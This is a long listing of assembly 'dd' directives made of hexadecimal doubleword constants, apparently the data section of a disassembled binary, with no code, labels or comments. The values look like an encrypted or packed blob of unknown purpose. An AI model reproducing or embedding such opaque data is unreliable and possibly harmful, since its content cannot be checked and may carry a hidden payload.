		dd 0C04D241Fh, 0CB21A909h, 21EA5A5Ah, 307D4BDBh, 0AECB57E3h
		dd 135FB05Ch, 41592E8h,	0C17CBAE2h, 811FAD65h, 79550602h
		dd 738B231h, 0AA2DAB5Eh, 0B143EC2Fh, 0AF2C016Eh, 4D2CEF92h
		dd 3B7E9F9Eh, 2A8F84E9h, 4E18C055h, 51C7671Ah, 0D8C23727h
		dd 3997092Dh, 0A8576927h, 6828083Ah, 4514040h, 480C0EB9h
		dd 216AF64h, 0CC7623EAh, 0DB0F43B9h, 652062E0h,	732F68E2h
		dd 0BB731846h, 38114802h, 98DC392Fh, 7202266Ah,	0D62D5B64h
		dd 8E1C211h, 9533945Dh,	0E9861BDEh, 7F71EC4h, 447D47CBh
		dd 1DEB6011h, 3B58EC6Fh, 9DDA2070h, 2C29CA2h, 0E1DD72Ah
		dd 0CFC341F0h, 0F6237273h, 0ED035B58h, 2A94A7E7h, 4B74B80Bh
		dd 0C0757A6Bh, 6B1CA60Ch, 0C314010Ch, 9086852h,	0CB8E1AE9h
		dd 9175B958h, 5F023C6Dh, 2150AA4Bh, 0B17D90F7h,	31A98361h
		dd 0C1C680D9h, 623504E0h, 0BFD4791Ah, 3B4BD1E1h, 0CFC9DFC1h
		dd 48D4CE7Ah, 1DD30444h, 0C1A14C2Ah, 0E95CC86Ah, 31022B2Dh
		dd 2BC2901Dh, 0D87CBE44h, 0D8AAFF4Eh, 89F9E4E6h, 7951589Ah
		dd 0A4899FE1h, 3F6A1040h, 0AF4E01BBh, 378F680Eh, 42121C36h
		dd 0B452674Ah, 15BBDA7h, 67C06649h, 0BAF4FD31h,	3F769F2Dh
		dd 4F8447ECh, 0EB1F4B92h, 8C0B2FD5h, 5FB719E8h,	43FFA475h
		dd 0E64EFE6h, 2CC2220Ch, 784190A0h, 5EEBDF0Bh, 0E5721830h
		dd 761DC680h, 0EE5DE628h, 8FC0584Eh, 0E909DF06h, 7BE85FD9h
		dd 0C2180E94h, 0F5538B7Eh, 24BE899Dh, 4E6875CDh, 0D627F42Fh
		dd 0B1D62FD3h, 78E57D05h, 0C5280FE8h, 0AC594C08h, 248CEA4Ah
		dd 44A71605h, 28D0F891h, 0E92A072Dh, 5C00A2E1h,	143F5705h
		dd 591E6874h, 6E84C716h, 1B61AB7Eh, 3103FD2Bh, 18260EBCh
		dd 1F51C1A7h, 93B24E71h, 644CA9C8h, 0F2163D6Ah,	0C88275A9h
		dd 4B6C135Bh, 7BC64EBAh, 84027F09h, 0BD000720h,	0F1806945h
		dd 25DBE23Bh, 0BA16D75Ch, 0D481E914h, 3168C2D4h, 4B51523Fh
		dd 93B6A9C7h, 1F4B06FAh, 0D8770F03h, 6799F028h,	885373F3h
		dd 2F780D14h, 75F52A28h, 2F56EF60h, 2CF6E6BBh, 1E0A6807h
		dd 4CEED509h, 84AB2D4Bh, 0E9D704F6h, 810DF0FEh,	8843F11Ch
		dd 84BA8017h, 27E38B4Dh, 7A44FE5Ah, 0F106E5C0h,	0EF372C80h
		dd 0EA54FD9h, 21384F77h, 73B6089Eh, 80845D13h, 88A9F3AAh
		dd 0C25C6629h, 28095FB4h, 4DB171EBh, 6BFB204Dh,	4990BF92h
		dd 427153B7h, 0CED7217Eh, 0CAE92573h, 85BE9860h, 4ED35E09h
		dd 0E50ED709h, 2402C61h, 8D0C846Eh, 1687D11Eh, 680A2284h
		dd 0CD5B1E2Eh, 0F087DEB4h, 0C9BF0CB6h, 0EB158B7Ah, 2A680120h
		dd 6806BC43h, 0A7271BA9h, 0AF8448A3h, 0E29219B2h, 0F1BFD26Dh
		dd 88582099h, 63E53116h
		dd 85EA04BEh, 173894AAh, 3AC2BA88h, 1865615Ah, 0EAC31B92h
		dd 0ED2901E0h, 4CE0F2F4h, 0AA9672FEh, 2EE52D80h, 15A2731h
		dd 4E2F61E4h, 0E5616E0Ch, 1A5AA97Eh, 404AD617h,	74EC0CBh
		dd 0E5817C8Ch, 225D122Ah, 0E912A758h, 38ABFD48h, 2509BF40h
		dd 129EE27h, 1AE2FF82h,	97C2F960h, 253EACFCh, 0B809FFEAh
		dd 3BE92C81h, 0D7182864h, 0B0445D65h, 52EA059Dh, 4A16BD95h
		dd 818DD1AFh, 412C0044h, 4F17485Dh, 6B3CE70Fh, 655229C9h
		dd 0C9B2F795h, 6F681101h, 0D5313E4Ah, 627A17CEh, 3C792549h
		dd 1294E088h, 0CACC0531h, 2DB0FE49h, 58C6FF01h,	516FEA77h
		dd 0BC3EA8D5h, 4500EB5h, 0DD998F10h, 0EDA2D4BDh, 4811E70Ch
		dd 16B40C2Dh, 0BF6F0E17h, 8029AC4h, 51112D68h, 7D238B21h
		dd 44B54230h, 10C0D582h, 453ECD18h, 658A3C48h, 0AD765F18h
		dd 1F9720CDh, 0F7FA2027h, 38C7379Eh, 5FC285B0h,	11960FEh
		dd 8007052Ch, 0EC28F2C2h, 0B8271024h, 0B55EA650h, 4F930730h
		dd 0BBF45288h, 25888B1Eh, 0B35BBB5Dh, 32311049h, 0A88350CEh
		dd 46E5DB69h, 2E50950Ah, 5008D861h, 443DA968h, 4B722E10h
		dd 0CB847687h, 3A7D6EB8h, 97FED4A1h, 5764D6FBh,	92CEE2EBh
		dd 8935DA6h, 3281A1D2h,	0F9EDEBEFh, 683B336Dh, 47D5986Bh
		dd 86E90726h, 74DC1BFEh, 4EC45DD2h, 12272D59h, 1BD8D3F7h
		dd 145D051Fh, 1EEB3198h, 1F28B580h, 3975E5F9h, 0B92E57A6h
		dd 673F50B8h, 73B6606h,	818AB0E9h, 0D92EEA90h, 73A620D9h
		dd 2584D45Ch, 9511505Dh, 0E9E10BF1h, 0A32ACE15h, 0E5A53084h
		dd 0B50AA668h, 97AD7099h, 9F0C3EDCh, 0DC19316h,	1A8F6D15h
		dd 27BEF885h, 0B9D0699Fh, 0C214EF2Ah, 0F25924C3h, 0B7E9D705h
		dd 617A00E1h, 3E4B43h, 277E535h, 75054452h, 0DC77B52Dh
		dd 1ED883CCh, 0C3D82408h, 0B72DFB60h, 0FD64A021h, 5B42013Fh
		dd 0E9CFD089h, 44BF8A37h, 3172274Fh, 0D1F77490h, 10170BD0h
		dd 290176BEh, 67252DE8h, 0DE5FCEAAh, 0C96DC2A4h, 756997F6h
		dd 0F225EB7Ah, 60621A5Eh, 0BA972A42h, 67F50964h, 0A98B2DC2h
		dd 51535621h, 0A0CB0CB9h, 99FEEBD9h, 0BEBB001Bh, 8106B139h
		dd 0B58E306h, 40C5E03h,	292C1FB7h, 0EF32844Bh, 3132541h
		dd 0C47B01DFh, 5376B4E3h, 7875E2BFh, 36F697B0h,	0C1D19F54h
		dd 68771862h, 9615171Fh, 0C1FC6BF7h, 590B68D8h,	26804106h
		dd 813B6B44h, 3ED3EF04h, 97AF659Ah, 54BC90E5h, 0EAFF7441h
		dd 5B6BFAD5h, 2E30F188h, 0FEB5DEF9h, 6082FCB4h,	0E1C3EDD2h
		dd 4C7B9451h, 16D71C35h, 9644F2ABh, 4DB12CFEh, 0B0ADC640h
		dd 14C70959h, 0D07C1C42h, 0F82D515h, 0A0926851h, 89594890h
		dd 1554B7C8h, 5D52763h,	1B5AC18Bh, 0BB4C855Bh, 54686D23h
		dd 402A8124h, 979001D4h, 0AEEA45B7h, 0FC8C441Eh, 3B8B5EF3h
		dd 1010C548h, 0CA482E4Ch, 5600742h, 1E0CCB4Ah, 58445668h
		dd 92A05F41h, 0AFE90B47h, 0A86CFF78h, 53A74B25h, 171BA4FDh
		dd 1A488F50h, 781C62F9h, 35CB9554h, 2117B0B9h, 718928Ah
		dd 0D0CF01BBh, 3E014370h, 84E27281h, 18A5BE00h,	270C673Dh
		dd 8843C04Ch, 0BC299839h, 0AC5B5B23h, 0CAD399B7h, 60E915C6h
		dd 21CB409Ah, 847F7A49h, 290B3544h, 81B4B077h, 17C009EBh
		dd 0A8D74BB9h, 0E9060801h, 0C9377EC5h, 0A95EA1E6h, 0BE1D5B2Dh
		dd 0C50E11A7h, 0BA76EA64h, 81BD2733h, 4120386Ch, 4D775C61h
		dd 0BF2AF951h, 18CB5D01h, 68D8F313h, 0B578493Ch, 59791681h
		dd 0A594803Dh, 29271E71h, 0BA522AFBh, 5AD30408h, 91B9E95Fh
		dd 31D6019Ah, 12EF2E0Ch, 821BB8A3h, 59477168h, 0DEA78CACh
		dd 816BD135h, 3FA25F10h, 0ED710796h, 418C551Fh,	2BD12B1h
		dd 9217D1Bh, 27D7DDF7h,	0E17252CAh, 8014F4BAh, 413385C5h
		dd 61FF2926h, 5E08007Eh, 0EE4E40E9h, 479DCD41h,	206A1A80h
		dd 0D39BAD3h, 562DF436h, 1D422DABh, 74F8505Ah, 60266C2Fh
		dd 4ABBB03h, 0E9643D3Ch, 0C812AA92h, 85B9B2BAh,	0E3C2D0F6h
		dd 0F0CCD508h, 39BD551Ch, 0CA4A974Ch, 58367E3Fh, 7401DE05h
		dd 0F72B4950h, 66976BDFh, 11A50EF1h, 5336813Ch,	9F164673h
		dd 6312A848h, 0A802D9A1h, 4A7EFAA2h, 0CAD2FBEAh, 756564Bh
		dd 839BC180h, 107DEB13h, 0C9D00528h, 0AC8F34B5h, 45681283h
		dd 0E587EC02h, 298472EEh, 0CD7F4B62h, 1EFD2FA0h, 7279BD97h
		dd 6CC8F9E5h, 471D0624h, 10E5D16Bh, 0A4604A02h,	0F7BDE928h
		dd 50D24420h, 58021D44h, 6C4B8035h, 89A2772Eh, 65D4147Fh
		dd 0C6B06A83h, 5CAD970h, 72EB1780h, 53DC1F80h, 1B4F0690h
		dd 0E2E7CBACh, 576ACDC4h, 0AC02C857h, 6026272Fh, 0AFB4EAD0h
		dd 23EC4B00h, 39B850B3h, 77A73343h, 52049889h, 5399BEA6h
		dd 2F9AA73Bh, 21D84158h, 0F0BFA2Bh, 2D30FF5Eh, 87C58863h
		dd 0CB1E05E1h, 2A77789h, 4DF07D4h, 4D4881F7h, 508D632Bh
		dd 2981CF00h, 0C72A803Fh, 4E3C1F32h, 7A37E01h, 716A5207h
		dd 73B32948h, 2878C302h, 71072D24h, 2668165Ah, 0D608A84Ah
		dd 18F25DAEh, 0E950DFC8h, 39B76CEAh, 0F82E5BDCh, 0A63EADEDh
		dd 62982FD3h, 17A2D8B8h, 0B725C46h, 7CC00B5Fh, 8DB15D58h
		dd 0D61DE961h, 0AB24CC6Ah, 0ABFAD40h, 1302B77h,	6A6803DCh
		dd 0F7B04358h, 8530090Dh, 7627945Ch, 0C076059h,	0BB5D2CD5h
		dd 0D77B6898h, 5E7EAF27h, 0FA08A094h, 0C3E05595h, 0C29EC46Bh
		dd 0F442029Bh, 40886D84h, 435CACEBh, 3C89014h, 2FAE36B7h
		dd 1C40F301h, 0B9515108h, 9D842F14h, 608A86BAh,	16ABBB4Ah
		dd 3FD2FFC2h, 5B2646B8h, 0A0BD874Ch, 57846B94h,	6094966Eh
		dd 1959FA05h, 1E33EA26h, 8067CF0Dh, 0C99C046Ch,	0E5B26DE9h
		dd 806B00BDh, 788D1C4h,	0B75358E6h, 0DBCF90D0h,	0CD4FA2E9h
		dd 0D09A34EAh, 883D984Dh, 5B953548h, 132104B0h,	1195E7Dh
		dd 47176CDFh, 0B3D73F61h, 8A37C7F0h, 49EA4E31h,	0F8D425D4h
		dd 0AF54C527h, 0F92C146Fh, 16EC40A7h, 79B61A44h, 7E4802E9h
		dd 6E13E3CDh, 0D9BD127Eh, 7B511979h, 0A85A7864h, 380BDFD3h
		dd 7EACC6DAh, 0AF6D0FE8h, 2E1AF6B7h, 6F175CF2h,	0BF21C6DCh
		dd 28282061h, 0A7BD1FD9h, 0AA7BF88Dh, 0C0B9842Eh, 0E806B308h
		dd 45102764h, 0BFE56C4h, 31D55CA1h, 0D52AEE43h,	8505EE70h
		dd 0E6B6E183h, 504EC010h, 7E0BF28Eh, 14CB432h, 69408C34h
		dd 5B138260h, 0F541B860h, 6AE889AAh, 7945F58Bh,	2768ED48h
		dd 0D27E5041h, 6505A0DAh, 0BD713F43h, 62166378h, 58002F88h
		dd 21084261h, 0AB5D4AE9h, 0DC162184h, 61608EEBh, 0B861E90Ch
		dd 9290EF68h, 1A451D04h, 3016EA34h, 7EEC8112h, 0FB6C855Ah
		dd 0EFC4CCE2h, 0ED8EAB5Dh, 0EB14CC5Ah, 0D2EC6D4Ah, 0AD54A5C4h
		dd 70312D94h, 4D71BD0Bh, 0CB429068h, 3188EC2Ah,	8734BB3Dh
		dd 8F846EBh, 8035934Fh,	6708B0A4h, 71EF5F60h, 78FEEDF9h
		dd 45578F95h, 0E562444Fh, 70444251h, 4D681390h,	80CAA952h
		dd 338B648Dh, 0DF3F09BBh, 3A899E86h, 0CBE4E95Fh, 720F5688h
		dd 5F08909h, 34892E29h,	4B75807Fh, 764BFC10h, 24A94214h
		dd 478FFF5Fh, 0FFD50940h, 0A1458F89h, 0E98EC590h, 294CB012h
		dd 7776B7h, 51C33220h, 0A194F701h, 7FFA2162h, 65274DF2h
		dd 0BA0D57Ah, 2ECB35A8h, 2477D197h, 5B83328Dh, 610B4C51h
		dd 8863B07Eh, 82E912FEh, 0F7DB28C9h, 5256D100h,	0BB4F9968h
		dd 74E2907Fh, 0C4FF406Dh, 3DB2072Eh, 1B8A3E08h,	0B0CAA95Ch
		dd 0BF66C948h, 0B62363Ah
		dd 5D58C731h, 1B0282A1h, 0D2075033h, 8E2DE939h,	732ED438h
		dd 3D879FF1h, 72052550h, 952BEBF4h, 0D26A02FEh,	40D73D0Ch
		dd 1B57706Eh, 0E4D1EEEh, 163EA980h, 77CBE92Ch, 0F5950581h
		dd 0A47FDA9Eh, 654D26FAh, 3B4E761Ah, 14C65A16h,	9ACB0942h
		dd 8154D19Bh, 59C82105h, 9FC644BBh, 80EF35F3h, 3E4529ACh
		dd 7FBD5F49h, 0AB0BF302h, 91172E9h, 0F7AF2A54h,	902C2425h
		dd 4B89B886h, 0D631D52Ch, 5B277010h, 1089BDA9h,	6813A352h
		dd 64E37167h, 9C6EAC05h, 0B3CA0823h, 0CD53DA31h, 6132BF00h
		dd 39605F82h, 5FD5021Ah, 5834093Ch, 1576E050h, 33C80271h
		dd 0E6C1EED1h, 4CF6F9C0h, 8090DF6h, 0E65E48E9h,	452C02EEh
		dd 55560E5Ah, 0A689E5DDh, 1C87136Fh, 0AAC856D7h, 40395638h
		dd 1400B821h, 0D42AC78h, 4C5A7BE4h, 177CDE3Bh, 1375F276h
		dd 0B59FF41Eh, 0C8F8EC0Eh, 355F6021h, 0BA018F0h, 0FEB8E974h
		dd 16969FD4h, 17D14CBEh, 300B9806h, 483CE9DAh, 2D18C1B0h
		dd 0A57757FDh, 0ACB15EC3h, 0E760057Fh, 3FCCFE60h, 0BE614B9Ah
		dd 17DF6474h, 0D558AB4Fh, 30258DCEh, 32C66023h,	7EFF2B71h
		dd 0C16A5BB1h, 6E1FB00Ch, 1B6C2B91h, 63476810h,	1A08A59Bh
		dd 0CC8005F9h, 652C24Bh, 0ECD0A00Fh, 0FC0FB252h, 0A8234AE2h
		dd 0EE627419h, 0DD5F54D8h, 746B3A45h, 0EB5B58CCh, 959566B7h
		dd 0C9598B98h, 7C80AC81h, 80D2F6C1h, 663301C2h,	51348251h
		dd 0A86B803Fh, 7A592595h, 14792719h, 0D8408812h, 5A266049h
		dd 422DC325h, 0FF715549h, 72FCA08Fh, 6DA84B9h, 0D769A87Ch
		dd 682F865Ah, 98F6E6A3h, 0EBDD4A35h, 0FE96942Dh, 2F19E1F7h
		dd 909239A2h, 9668E947h, 4296DC9Fh, 475545B1h, 0FBBE01F4h
		dd 2A7DD52Dh, 0CE2800EFh, 3E280999h, 6DBA0CC1h,	1EA45E69h
		dd 0C9C6033Eh, 0C02CB4Fh, 732C45F6h, 0DFDE7532h, 0B9001426h
		dd 4FCA391Dh, 1FBB2DE9h, 7DA5F1F1h, 18AE20E5h, 0AFB657C5h
		dd 7A48444Ch, 0CA2E1200h, 0E2D8E90Eh, 512FA7B2h, 0DD71B26Ah
		dd 0C1F009Bh, 58475EEh,	0DA8AFE9h, 0F85EFA92h, 56B4FBC9h
		dd 0A4E860A4h, 0D69F9C63h, 9DDC9E4h, 826E7FFEh,	2402E917h
		dd 0AA4E75BBh, 0D7A107C0h, 96759DFEh, 46950960h, 0EA801A3Eh
		dd 233E906h, 0C81851DCh, 2B595A36h, 3DF1D121h, 2786681Fh
		dd 62D094Eh, 3E3A750Bh,	0C0618632h, 6AC2357Ch, 0F92D6A8Bh
		dd 9EF75562h, 4BB290B0h, 0C431AC12h, 50096676h,	0F551082h
		dd 129036DEh, 15253B4Ch, 3ADD6012h, 0F21F61B8h,	3D17E815h
		dd 52511ECCh, 0FD33A5BDh, 0B000F332h, 25860603h, 60E58100h
		dd 0E97E8320h, 0C7DE595Ch, 5E62F24Ah, 0FEC644EFh, 3DEEE9D2h
		dd 61E51226h, 448F600h,	0C7462DC2h, 693C7D5Ah, 0FBED8084h
		dd 0B90F68Ch, 2173F36Dh, 5ECE7040h, 5CD45718h, 3011740Ch
		dd 0C850727Ah, 715F6034h, 0F5D0D8C4h, 24A7AC5Fh, 73E72991h
		dd 1AE24204h, 0EA2814h,	2C5E3F55h, 3A4DE3E9h, 0EBC518A3h
		dd 0EA283506h, 0A4584F59h, 0C0A997CDh, 0C10DF181h, 78E44108h
		dd 66CC6A3Ah, 0DB3217FCh, 3A16B185h, 0DF3621AAh, 1486053Bh
		dd 0C6C41274h, 59EBD1FEh, 636E2055h, 50D85681h,	1301B1CAh
		dd 317D4575h, 9A40AECBh, 2D62BA52h, 81A94A73h, 6610A218h
		dd 0B85F264Bh, 0FECBBA05h, 685D0B42h, 87305DACh, 9B3066DFh
		dd 0F0013061h, 5BE894FEh, 2BD099F7h, 292D5813h,	0D32F640Ah
		dd 53EBEB13h, 0A9F00C13h, 0DF00F686h, 88E6F780h, 5E2C5BFDh
		dd 0D0B8E19Ah, 46B05966h, 0BD2AD160h, 789763E0h, 0C6ED5C20h
		dd 583BCC20h, 0E66D995Fh, 0A13F0990h, 2F8EDC67h, 0C2A3926h
		dd 46207403h, 0FDE8203Bh, 49EED1E0h, 0CCF3F15Fh, 244CC210h
		dd 0E98BC755h, 0BF80A093h, 7C66315Ch, 0EEF94E3Ah, 0E1814830h
		dd 0BA5C1DC7h, 8FF18169h, 2A395335h, 0F752D404h, 4A17A3F0h
		dd 6A31EF8Bh, 8EF002C4h, 2829994h, 34DC20A9h, 7D827E2h
		dd 13A70505h, 33BC9D5Eh, 0F32A513Fh, 801A96E2h,	4B125902h
		dd 0BD306BFh, 412BC601h, 0E82B6E14h, 5A08404Fh,	0DF720B9Fh
		dd 964FEDBBh, 0EF6140CBh, 7B0811E9h, 0BD848EFDh, 4623C0FBh
		dd 4117B7BBh, 0A6E9F940h, 0E3199F58h, 2AC7DDCDh, 5C2784E9h
		dd 0E7DFEDC2h, 281AAFBEh, 0D51A425Fh, 40095F59h, 6991FDBFh
		dd 5BA27C90h, 0F2E5B1FCh, 7465C5BEh, 82889F32h,	1853BF4h
		dd 34585D68h, 0EA20C5BFh, 0D26AEDFEh, 71F55A63h, 0C87FC9C5h
		dd 81A3F829h, 6AADD958h, 0F013EE1Ch, 1C788BBAh,	0EBCD19C3h
		dd 9D310C45h, 151075E7h, 9FA658E9h, 3293C502h, 0AFAB0E5Dh
		dd 0DCCBA75Fh, 0DEDA6AB7h, 180C02C9h, 29C7C8D5h, 7A2C897Dh
		dd 0E481CF6h, 55215804h, 9B90EF42h, 2CB126C2h, 3E605ECCh
		dd 1A0AA3CEh, 8254C47Eh, 4B39ECB8h, 6AE61366h, 0D861EA78h
		dd 97117D71h, 0E39B34E7h, 0B450BD1Dh, 0CE668C68h, 0C5FA874Ch
		dd 82D3F706h, 4074845Ah, 4AD1D5C3h, 8421EE2Ah, 3A69907Eh
		dd 57EFE104h, 0F5D682D9h, 0FCF6D8A1h, 4F003E4Bh, 7CE4CC6h
		dd 4AD3B8A5h, 0DC72AB5Eh, 97D0705Ch, 8F521C01h,	25EE6347h
		dd 521DF957h, 8BBCD57h,	782F4A93h, 8D2D0202h, 500D845Eh
		dd 6FD60077h, 0BD31626Ah, 8128C764h, 0F99D0CF2h, 18056B00h
		dd 4E0FE6FEh, 0CE6B58A1h, 0D16812A5h, 78E86923h, 7C292D15h
		dd 0A7AD58F1h, 0B3DA5FBCh, 50FA242h, 8426A953h,	31EBCD32h
		dd 0CAD56889h, 95B5B65Fh, 77279E67h, 21A04848h,	0BE6FB02Ch
		dd 26CC8219h, 0B962DD43h, 3761904Ah, 0AF5D78ACh, 5FDA8E1Bh
		dd 0BD00E476h, 33A41243h, 1370E345h, 0EE7B372Eh, 2CC26090h
		dd 69B552F4h, 0FF683DA8h, 0AD4FFC5Bh, 81DCF22Fh, 0FEE5D9E9h
		dd 0ABC86F2Ch, 0CC2EA42h, 6F028B5Ch, 626859F4h,	9D8B5114h
		dd 0B6D957F3h, 44BB5070h, 6CCB7F4Ah, 0BBE96B63h, 0FC505F32h
		dd 3FEFD17Bh, 95F84A2Eh, 0BA80D955h, 0F76AD481h, 363EE92Ch
		dd 49CBCCA8h, 0B2C2FDBEh, 0D33FB324h, 0ED48B8F3h, 6EE831A4h
		dd 0A86EBEC7h, 1EBBE054h, 1A951E11h, 0C5DF9257h, 8FF40B87h
		dd 5BD894D7h, 116ABC1h,	31F215C1h, 2C17EA04h, 7E1048B8h
		dd 24FF4E06h, 3F1BBCACh, 37C19253h, 2D5BC868h, 4A616FE9h
		dd 0E4D2A452h, 41EB0993h, 9E61B126h, 0EE1E8D35h, 62D67D7Dh
		dd 88B9E0F4h, 356D98E1h, 0BA49C5CEh, 0FB96FCB6h, 3A5B1445h
		dd 0BA7874FAh, 79E876C5h, 348AA585h, 3A6A8CDAh,	915A0B40h
		dd 0F85D086Dh, 0F5D4680Fh, 0EE657686h, 0D5BFD0A1h, 0C39B8621h
		dd 0BED2C662h, 0CBAB565Ch, 0EBB4CA05h, 2E813398h, 137D20EAh
		dd 0DC801A72h, 0EF590804h, 0FFD667B3h, 0C17728C1h, 0A5DB9EADh
		dd 5FB8B209h, 43B39F8h,	7ED82559h, 0EE013A0h, 0E1657BFCh
		dd 8030F83Fh, 0DA88D3F6h, 7D5B7666h, 80CD5AD2h,	6EFC0C6h
		dd 800806C7h, 7FE2BA67h, 0FFD73A6h, 6AEB1EA2h, 0DDABD8Fh
		dd 5B914880h, 0F3F80CE2h, 0CB42E114h, 51221796h, 4F2BC0D9h
		dd 76A325EFh, 459530E9h, 0EB2D5ABBh, 4A58BB8Eh,	584E3820h
		dd 0FEF448ECh, 5ECBFAA2h, 0FBB572F0h, 595E2C6Eh, 9216E968h
		dd 6BE0BA6Dh, 5BDBB5Ch,	0AA15E668h, 6BE9F730h, 7063BA81h
		dd 3CD5240Bh, 0F255479Ah, 9CEBB24Fh, 7EED86B1h,	0E36823C8h
		dd 0DECF7FEh, 0A404D995h, 3F900D2h, 0FB6850F6h,	7FF00BD4h
		dd 84146444h, 1C6F211Fh, 24C3E18Bh, 0E1BABEDDh,	82B5EC45h
		dd 4A187C95h, 14F5147Dh, 28D87809h, 0F7F30302h,	139E410Fh
		dd 0AD6B79A5h, 5AF10941h
		dd 9A638486h, 77896897h, 0F590EBD8h, 0AD8BA61Dh, 569BED80h
		dd 0B7014DC6h, 8090542h, 63A12909h, 0C647DFF7h,	6C454DC0h
		dd 1E588D34h, 9F5031F0h, 0F1696B0Eh, 21E94F58h,	81256F12h
		dd 5069D2BEh, 509D9966h, 0D0085F6Ch, 0FECB4C40h, 322F649Fh
		dd 1411EB06h, 1D42102h,	0E045EF87h, 6681E590h, 0C4EAF2Bh
		dd 541439BFh, 61E49C48h, 424A8620h, 9FE77057h, 0AFA9D512h
		dd 484DF2BEh, 919478F5h, 0B8D7044Bh, 7BC48EF5h,	96515039h
		dd 0AA2E143Ah, 0DB01A2FBh, 11C2B33h, 285B21EAh,	522133E9h
		dd 0DFEBCA42h, 0B3DD3A89h, 0EAE88255h, 4016750Bh, 629876BDh
		dd 795562EEh, 44680726h, 0CDF70932h, 0BED24EFh,	0ED72CA4Ah
		dd 0B9B682Dh, 0A994DF36h, 4D8CD04Fh, 0C1FCB557h, 0E2B204FAh
		dd 4990A092h, 0B4EC54FEh, 15A095C2h, 0A5044BEDh, 0CF896F3Eh
		dd 41CC67DCh, 0ADEA9C03h, 351D7A00h, 15FE5762h,	0FC7EE96Dh
		dd 69DE2D01h, 0EC927748h, 76B6479Dh, 7A7B2582h,	0C0C6C2B2h
		dd 97D2C207h, 52F0CE44h, 9C506A58h, 5859CE82h, 0C681E0F6h
		dd 0E7B03A50h, 4204C880h, 0F82C9524h, 0FCE17EE4h, 0C45B50E9h
		dd 0B4899E88h, 4125A863h, 4AB16ADAh, 4A801620h,	89FDF2D0h
		dd 3F47FFC2h, 4057E989h, 177EBD4Dh, 0BF43B966h,	54291F21h
		dd 191AD43Ah, 6BE1660Fh, 0A95022A6h, 0B57831B3h, 5E339FEh
		dd 0F4E165A1h, 0BF4ADF38h, 0BF2DAF38h, 9A955AFEh, 1EB4AC6h
		dd 52C91B94h, 59F03AFDh, 0FDEAD601h, 45FAA407h,	222F0822h
		dd 4EC9B572h, 50D43A05h, 0F6C86AC2h, 745D82C9h,	8755396Fh
		dd 12F24F0Ah, 0EF5157FEh, 6089DD2Fh, 1B0C2286h,	33B5EB4Eh
		dd 3F520CA7h, 2E19E915h, 0F7D55A90h, 0A4E15213h, 5033826h
		dd 70DF3F9Fh, 5667B9A8h, 41A87D5Fh, 81D60741h, 661E911h
		dd 0E276897Bh, 844D8C2h, 0C59FFAB1h, 5FC01D52h,	1C3EB652h
		dd 2674EE80h, 0D9F600BFh, 0FE05E1C0h, 206BC95Ch, 5042B7C3h
		dd 7189E61h, 494687D2h,	8B3AC52Eh, 693E17E7h, 167F86CCh
		dd 119F44Ch, 225FA1E8h,	4E24652h, 5E9FE1E6h, 8F2382B1h
		dd 0E075FAE8h, 5ADD3153h, 0A34EC15Bh, 4DCA2ADCh, 2461CD11h
		dd 75A5E95Eh, 0FCA55567h, 93896428h, 574A063Fh,	0B56037F1h
		dd 0E2944B7Eh, 0A9B34FFAh, 39712D7Eh, 4D0216F2h, 6202F581h
		dd 0DEC82BFh, 0E3D1020Ah, 81368E5Dh, 70C27482h,	0A4B0023Bh
		dd 0CCF64556h, 67FBE60Dh, 0A482AC6Eh, 0DA040ABDh, 0C5C24EAEh
		dd 5CD4BA6Ch, 0C0BA6AD5h, 0B32EE968h, 0B0A47EB9h, 9553D57Ah
		dd 79E9244Eh, 0B13B5FA1h, 417C1E9h, 64E34187h, 950E7075h
		dd 0D1D49782h, 171D0500h, 25347A11h, 0BCA0F695h, 7A862E0Ah
		dd 31DC6812h, 25C147E8h, 413EFE61h, 0E52F028Ch,	0A7CBD872h
		dd 345D7017h, 1A85EA01h, 248F3245h, 63091E2Ch, 0A0D7807Fh
		dd 55F6451h, 0D7E9DE31h, 3235E580h, 994B7B6Bh, 0AEA3912h
		dd 34BB4370h, 0C3C100D5h, 0FABAAD26h, 0ADE213Eh, 512BD968h
		dd 923B6941h, 91A307D6h, 814366D9h, 1384EB80h, 0A68357CCh
		dd 655578A1h, 9813547Ch, 0A6EEC4F2h, 276C4895h,	132FB40Ch
		dd 57EF9EE9h, 2203A184h, 237C12DCh, 53C917E8h, 74571EC2h
		dd 8E9D093h, 684EE860h,	3DAD36E0h, 0BDF75902h, 0BBD274AEh
		dd 0C3BBF8C4h, 0EA945CAh, 20552178h, 2480B51Fh,	163438F9h
		dd 2599C73Dh, 3B5F54BCh, 0FB92A4A7h, 0EDAAF464h, 80957AF5h
		dd 684BB9C5h, 310C01E5h, 0EDD159CDh, 3307EC51h,	0FE09F025h
		dd 0D42075Eh, 0FCF69E5Ah, 8FF24816h, 0EF9FC657h, 3C56BD3Dh
		dd 204896BEh, 5680AAB3h, 7D29DB68h, 49B93559h, 90C54BCBh
		dd 1B80AF17h, 4B44166Ch, 4C53E858h, 9E01263Ch, 0CAFF1216h
		dd 26D37E2Bh, 2D15A51Ch, 2102A2CAh, 74C5E95Ch, 9309B96Ch
		dd 0F218382Dh, 0C056205Fh, 56C49B84h, 6802ED6Ch, 54D64BBDh
		dd 0AA1B8E60h, 0B6BA3043h, 0E2FE90Bh, 645D2EC9h, 0FEAB67Ch
		dd 2AB3F70h, 5149B12Bh,	0FDCC4957h, 0F5406A5Ch,	628E42BCh
		dd 17CA0481h, 0BE125048h, 53067EDh, 0D824D018h,	5BB099A3h
		dd 4A3EDC17h, 4C4124E9h, 0ADD72756h, 5C57F412h,	0A01F157Ah
		dd 0E6DAEF4Eh, 5E65BC4Eh, 0F6C434AAh, 0A2AA9243h, 0ADE9821Ch
		dd 531875BBh, 40580668h, 485D4FEh, 3F462E54h, 3E6DE780h
		dd 0BE2BFB1Bh, 6CBF0041h, 0FE446B61h, 0D326EDAFh, 0EA4BE6B8h
		dd 0E83AA879h, 506EF162h, 68D7F700h, 48633626h,	0A02C2CFh
		dd 90FBF834h, 583A1E76h, 0F729C990h, 9DAA167Dh,	64B3143h
		dd 77B3E0h, 2D6D3556h, 4A1B0883h, 5F80114h, 0A3A04A07h
		dd 0E4681653h, 16D96139h, 6529F921h, 0C17B20C4h, 6B1B641Dh
		dd 5606EB05h, 20012DC2h, 65E9EE89h, 2F680A40h, 14C64AE2h
		dd 5852FA25h, 0E664B58Fh, 4E510E5Dh, 7F8691EEh,	0BB12812Fh
		dd 3F50102Eh, 0BC7D51E8h, 0B9266258h, 0E7F5E98Bh, 0C6C5A53Ch
		dd 8D5E5182h, 576AE272h, 0A8542B04h, 3FB35BCFh,	0EC8EAED7h
